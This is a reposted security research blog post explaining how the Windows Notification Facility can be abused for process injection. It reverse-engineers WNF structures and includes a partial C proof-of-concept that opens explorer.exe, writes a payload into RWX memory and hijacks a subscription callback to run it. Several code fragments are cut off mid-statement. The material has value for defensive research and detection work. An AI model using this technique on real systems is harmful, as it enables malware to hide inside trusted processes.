Windows Process Injection : Windows Notification Facility

Original text by modexp


At Blackhat 2018, Alex Ionescu and Gabrielle Viala presented Windows Notification Facility: Peeling the Onion of the Most Undocumented Kernel Attack Surface Yet. It’s an exceptional well-researched presentation that I recommend you watch first before reading this post. In it, they describe WNF in great detail; the functions, data structures, how to interact with it. If you don’t wish to watch the whole video, well, you’re missing out on a cool presentation, but you can always read the slides from their talk here. Gabrielle followed up with a another well-detailed post called Playing with the Windows Notification Facility (WNF) that is also required reading if you want to understand the internals of WNF. You can find some of their tools here which allow dumping information about state names and subscribing for events. As suggested in the presentation, WNF can be used for code redirection/process injection which is what I’ll describe here. wezmaster has demonstrated how to use WNF for persisting .NET payloads here.

Context Header

The table, user and name subscriptions all have a context header.

typedef struct _WNF_CONTEXT_HEADER {
    CSHORT                   NodeTypeCode;
    CSHORT                   NodeByteSize;

The NodeTypeCode field indicates the type of structure that will appear after the header. The following are some examples.


For a target process, we scan all writeable areas of memory and attempt to read sizeof(WNF_SUBSCRIPTION_TABLE). For each successful read, the Header.NodeTypeCode is compared with WNF_NODE_SUBSCRIPTION_TABLE while the NodeByteSize is compared with sizeof(WNF_SUBSCRIPTION_TABLE). The type code and byte size are unique to WNF and can be used to locate WNF structures in memory provided no such similar structures exist.

UPDATEAdam suggested finding the address of WNF table via a function referencing it. You could also search pointers in the .data section or PEB.ProcessHeap. Each of these methods would likely be faster than searching all writeable areas of memory that includes stack memory.

Subscription Table

Created by NTDLL.dll!RtlpInitializeWnf and assigned type 0x911. Both NTDLL.dll!RtlRegisterForWnfMetaNotification and NTDLL.dll!RtlSubscribeWnfStateChangeNotification will create the table if one doesn’t already exist. You could hijack the callback function in TP_TIMER to redirect code, but since this post is about WNF, we need to look at the other structures.

typedef struct _WNF_SUBSCRIPTION_TABLE {
    WNF_CONTEXT_HEADER                Header;
    SRWLOCK                           NamesTableLock;
    LIST_ENTRY                        NamesTableEntry;
    LIST_ENTRY                        SerializationGroupListHead;
    SRWLOCK                           SerializationGroupLock;
    DWORD                             Unknown1[2];
    DWORD                             SubscribedEventSet;
    DWORD                             Unknown2[2];
    PTP_TIMER                         Timer;
    ULONG64                           TimerDueTime;

The main field we’re interested in is the NamesTableEntry that will point to a list of WNF_NAME_SUBSCRIPTION structures.

Serialization Group

Created by NTDLL.dll!RtlpCreateSerializationGroup and assigned type 0x913. Although not important for process injection, It’s here for reference since it wasn’t described in the presentation.

    WNF_CONTEXT_HEADER                Header;
    ULONG                             GroupId;
    LIST_ENTRY                        SerializationGroupList;
    ULONG64                           SerializationGroupValue;
    ULONG64                           SerializationGroupMemberCount;

Name Subscription

Created by NTDLL.dll!RtlpCreateWnfNameSubscription and assigned type 0x912. When subscribing for notifications, an attempt will be made to locate an existing name subscription and simply insert a user subscription into the SubscriptionsList using NTDLL.dll!RtlpAddWnfUserSubToNameSub.

typedef struct _WNF_NAME_SUBSCRIPTION {
    WNF_CONTEXT_HEADER                Header;
    ULONG64                           SubscriptionId;
    WNF_STATE_NAME_INTERNAL           StateName;
    WNF_CHANGE_STAMP                  CurrentChangeStamp;
    LIST_ENTRY                        NamesTableEntry;
    PWNF_TYPE_ID                      TypeId;
    SRWLOCK                           SubscriptionLock;
    LIST_ENTRY                        SubscriptionsListHead;
    ULONG                             NormalDeliverySubscriptions;
    ULONG                             NotificationTypeCount[5];
    PWNF_DELIVERY_DESCRIPTOR          RetryDescriptor;
    ULONG                             DeliveryState;
    ULONG64                           ReliableRetryTime;

The main fields we’re interested in are NamesTableEntry and SubscriptionsListHead for each user subscription that is described next.

User Subscription

Created by NTDLL.dll!RtlpCreateWnfUserSubscription and assigned type 0x914. This is the main structure one would want to modify for process injection or code redirection.

typedef struct _WNF_USER_SUBSCRIPTION {
    WNF_CONTEXT_HEADER                Header;
    LIST_ENTRY                        SubscriptionsListEntry;
    PWNF_NAME_SUBSCRIPTION            NameSubscription;
    PWNF_USER_CALLBACK                Callback;
    PVOID                             CallbackContext;
    ULONG64                           SubProcessTag;
    ULONG                             CurrentChangeStamp;
    ULONG                             DeliveryOptions;
    ULONG                             SubscribedEventSet;
    PWNF_SERIALIZATION_GROUP          SerializationGroup;
    ULONG                             UserSubscriptionCount;
    ULONG64                           Unknown[10];

We’re interested in the Callback and CallbackContext fields. If the context pointed to a virtual function table and one of the methods was executed upon receiving a notification from the kernel, then it probably wouldn’t require modifying Callback at all. To make things easier, the PoC only modifies the Callback value.

Callback Prototype

Six parameters are passed to a callback procedure. Both Buffer and CallbackContext could be utilized to pass in arbitrary code or commands, but since the PoC only executes notepad.exe, the parameters are ignored. That being said, it’s still important to use the same prototype for a payload so that the parameters are safely removed from the stack before returning to the caller.

    _In_     WNF_STATE_NAME   StateName,
    _In_     WNF_CHANGE_STAMP ChangeStamp,
    _In_opt_ PWNF_TYPE_ID     TypeId,
    _In_opt_ PVOID            CallbackContext,
    _In_     PVOID            Buffer,
    _In_     ULONG            BufferSize);

Listing Subscriptions

To help locate the WNF subscription table in a remote process, I wrote a simple tool called wnfscan that searches all writeable areas of memory for the context header. Once found, it parses and displays a list of name and user subscriptions.

Process Injection

Because we have to locate the WNF subscription table by scanning memory, this method of injection is more complicated than others. We don’t search for WNF_USER_SUBSCRIPTIONstructures because they appear higher up in memory and take too long to find. Scanning for the table first is much faster since it’s usually created when the process starts thus appearing lower in memory. Once the table is found, the name subscriptions are read and a user subscription is returned.

VOID wnf_inject(LPVOID payload, DWORD payloadSize) {
    LPVOID                 sa, cs;
    HWND                   hw;
    HANDLE                 hp;
    DWORD                  pid;
    SIZE_T                 wr;
    ULONG64                ns = WNF_SHEL_APPLICATION_STARTED;
    NtUpdateWnfStateData_t _NtUpdateWnfStateData;
    HMODULE                m;
    // 1. Open explorer.exe
    hw = FindWindow(L"Shell_TrayWnd", NULL);
    GetWindowThreadProcessId(hw, &pid);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    // 2. Locate user subscription
    sa = GetUserSubFromProcess(hp, &us, WNF_SHEL_APPLICATION_STARTED);

    // 3. Allocate RWX memory and write payload
    cs = VirtualAllocEx(hp, NULL, payloadSize,
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 4. Update callback and trigger execution of payload
      (PBYTE)sa + offsetof(WNF_USER_SUBSCRIPTION, Callback), 
    m = GetModuleHandle(L"ntdll");
    _NtUpdateWnfStateData = 
      (NtUpdateWnfStateData_t)GetProcAddress(m, "NtUpdateWnfStateData");
      &ns, NULL, 0, 0, NULL, 0, 0);
    // 5. Restore original callback, free memory and close process
      (PBYTE)sa + offsetof(WNF_USER_SUBSCRIPTION, Callback), 
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);


Since it’s possible to transfer data into the address space of a remote process via WNF publishing, it may be possible to avoid using VirtualAllocEx and WriteProcessMemory. Some .NET processes allocate executable memory with write permissions that could be misused by an external process for code injection. A PoC that executes notepad can be found here.


Добавить комментарий

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.